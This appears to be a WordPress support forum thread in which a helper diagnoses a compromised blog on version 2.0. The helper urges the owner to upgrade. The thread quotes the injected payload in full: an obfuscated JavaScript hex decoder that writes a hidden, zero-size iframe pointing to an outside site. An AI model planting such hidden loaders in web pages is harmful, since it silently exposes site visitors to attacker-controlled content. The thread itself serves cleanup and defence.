well. youre a great example of WHY people need to upgrade your blog now arent you.
You appear to be using 2.0?
and your site has been compromised.
Bring up this url in a browser:
[Link removed due to compromised site]
Now using that wonderful tool called view source, look at the actual source of that page. At the top you will see this:
<script type="text/javascript">function ahpgxusvlwuzz(skusjits){var fgdxbotv="";for(uknzaxauyi=0;uknzaxauyi<skusjits.length;uknzaxauyi+=2){fgdxbotv+=(String.fromCharCode(parseInt(skusjits.substr(uknzaxauyi,2),16)));}document.write(fgdxbotv);}ahpgxusvlwuzz("3C696672616D65207372633D22687474703A2F2F746F703130302D636F756E7465722E636F6D2F746F703130302F696E6465782E70687022206672616D65626F726465723D22302220626F726465723D2230222077696474683D223022206865696768743D223022207374796C653D22706F736974696F6E3A206162736F6C7574653B207669736962696C6974793A2068696464656E3B20646973706C61793A206E6F6E65223E3C2F696672616D653E");</script>
Thats your problem. And its inside one of your files, possibly wp-rss.php
How did it get there?
Probably very easily put there, since you haven’t upgraded in what, a year???? 🙁
I’ve removed the links to hacked pages just in case something nasty has been inserted somewhere.
Thread Starter
kpita
(@kpita)
I found and removed that bit of code, but the problem seems to persist.
your feed is fine now, I JUST looked. You are, you know, just treating a symptom of a larger problem — removing the offending code is fine, but I’m telling you :
Y O U N E E D T O U P G R A D E …
Since you are still on the 2.0.x branch, it would be VERY easy for you to upgrade to at least 2.0.11
http://wordpress.org/download/legacy/
Until you do that, youre apt to have continuing problems like this, and you will have no-one but yourself to blame.
